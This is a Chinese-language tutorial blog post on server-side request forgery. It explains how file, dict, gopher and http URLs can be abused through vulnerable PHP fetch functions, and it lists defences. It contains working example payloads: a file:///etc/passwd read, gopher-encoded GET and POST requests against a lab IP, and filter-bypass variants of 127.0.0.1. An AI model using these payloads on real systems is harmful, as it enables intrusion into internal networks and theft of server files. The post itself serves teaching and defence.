SSRF详解
简介
SSRF,Server-Side Request Forgery,也就是服务器端请求伪造,是一种由攻击者构造形成而由服务器端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。其目标是与服务器端相连的内部网络。
其根本原因在于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制,导致网络边界被穿透。攻击者常利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务(访问读取内网文件、探测内网存活主机、扫描内网端口开放、攻击内网其他应用),而这些服务或攻击手段正常来说通过外部访问不到的、无法利用的,即请求是由服务器端发起的。
SSRF在PHP中危害较大,比如常见的相关函数file_get_contents()、readfile()、curl_exec()、fopen()、fsockopen()
ssrf常用协议
-
file协议:在有回显的情况下,利用file协议可以读取任意文件的内容
-
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
-
gopher协议:gopher支持发出GET、POST请求,可以先截取get请求包和post请求包,再构造符合gopher协议的请求,gopher协议是ssrf利用中最强大的协议,可用于反弹shell
-
http/s协议:探测内网主机存活
在说协议之前有个东西非常重要,curl。curl是常用的命令行工具,用来请求web服务器,它的名字就是客户端(client)的URL工具的意思。不带有任何参数的时候,curl就是发出GET请求,例如curl https://www.example.com
file协议
主要是用于访问本地计算机中的文件,利用它可以直接读取系统文件,例如:ssrf.php?url=file:///etc/passwd
dict协议
dict://serverip:port/命令:参数
gopher协议
gopher协议是一个在http协议诞生之前用来访问Internet资源的协议可以理解为http协议的前身或简化版,虽然古老但现在很多库都还支持gopher。
gopher协议允许数据包整合发送,用一条gopher协议命令就可以完成复杂的操作 。gopher://<host>:<port>/<gopher-path>
后接TCP数据流。
如传递curl gopher://192.168.25.203:9999/_hello%0alcx
对面会受到hello、lcx,注意:如果url访问,需要再进行一次url编码(其他的协议也是如此,不再复述)
GET 利用:
后台get.php:<?php echo "Hello".$_GET["name"]; ?>
数据包: GET /ssrf/base/get.php?name=Lcx HTTP/1.1
Host:192.168.25.203
利用
curl gopher://192.168.25.203:80/_GTE%20/ssrf/base/get.php%3fname=Lcx%20HTTP/1.1%0d%0AHost:%20192.168.25.203%0d%0a
POST利用:
后台post.php:<?php echo "Hello".$_GET["name"]; ?>
数据包:
POST /ssrf/base/post.php HTTP/1.1
host:192.168.25.203
Content-Type:application/x-www-form-urlencoded
Content-Length:8
name=Lcx
利用:
curl gopher://192.168.25.203:80/_POST%20/ssrf/base/post.php%20HTTP/1.1%0d%0AHost:192.168.25.203%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:8%0d%0A%0d%0Aname=Lcx%0d%0A
http/s协议
例如:
ssrf.php?url=http://192.168.25.203
注意与file协议的一些区别:file协议用于静态读取,而http/s可用于动态解析,file访问的是服务器的一个静态的文件,而http/s访问的是服务器的html这种资源文件,即多了一个把访问的机器当作http服务器,解析请求后再去访问资源的过程。还有file不能跨域读取的。
防御
-
限制允许的协议,通常只允许http/s协议
-
限制可请求的端口号
-
对IP进行白名单限制,如果请求的是内网IP可以看情况拒绝
-
禁止所有重定向请求或者在服务器端以五跳转模式请求内容
-
对返回信息进行过滤,响应数据包如果存在类型不不符的直接干掉。
绕过
常规绕过思路
-
HTTP基本身份绕过
如果之限制了
http://www.lcx.com
可以加@绕过?url=http://www.lcx.com@www.baidu.com
实现对恶意地址的访问
-
IP转换绕过
如果对IP有限制,如127.0.0.1,可以尝试以下方法去绕过
八进制:0177.0.0.1
十六进制:0x7F.0.0.1
十进制整数格式:2130706433
或者
http://localhost/ # localhost就是代指127.0.0.1
http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行
http://[::]:80/ # 在liunx下可用,window测试了下不行
http://127。0。0。1/ # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
-
跳转绕过
如果URL存在临时302或者永久301跳转,或许可以通过http/s跳转利用那些协议。
-
DNS重绑定绕过
利用
打Redis
可以参考下面这篇博文:https://zhuanlan.zhihu.com/p/113396148
打mysql、ftp、fastcgi
文章参考
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· 【.NET】调用本地 Deepseek 模型
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库